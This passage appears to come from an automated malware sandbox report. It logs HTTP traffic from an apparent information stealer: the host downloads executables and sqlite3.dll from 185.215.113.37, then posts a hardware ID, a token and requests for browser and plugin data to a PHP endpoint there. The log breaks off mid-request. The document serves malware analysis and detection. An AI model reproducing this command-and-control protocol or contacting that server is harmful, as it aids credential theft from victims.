Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 13 Oct 2024 04:54:14 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 13 Oct 2024 04:54:15 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 13 Oct 2024 04:54:16 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 13 Oct 2024 04:54:18 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 13 Oct 2024 04:54:18 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 33 38 45 42 34 43 30 41 46 33 33 37 30 31 39 39 31 34 39 39 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="hwid"D338EB4C0AF33701991499------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="build"doma------FCBAECGIEBKKFHIDAKEC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="message"browsers------DHDAFBFCFHIDAKFIIEBA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDBHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 2d 2d 0d 0a Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="message"plugins------IJKJDAFHJDHIEBGCFIDB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCAAFBFBKFIDGDHJDBHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------HDGCAAFBFBKFIDGDHJDBContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------HDGCAAFBFBKFIDGDHJDBContent-Disposition: form-data; name="message"fplugins------HDGCAAFBFBKFIDGDHJDB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDHHost: 185.215.113.37Content-Length: 5831Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCAAFBFBKFIDGDHJDBHost: 185.215.113.37Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJDHost: 185.215.113.37Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 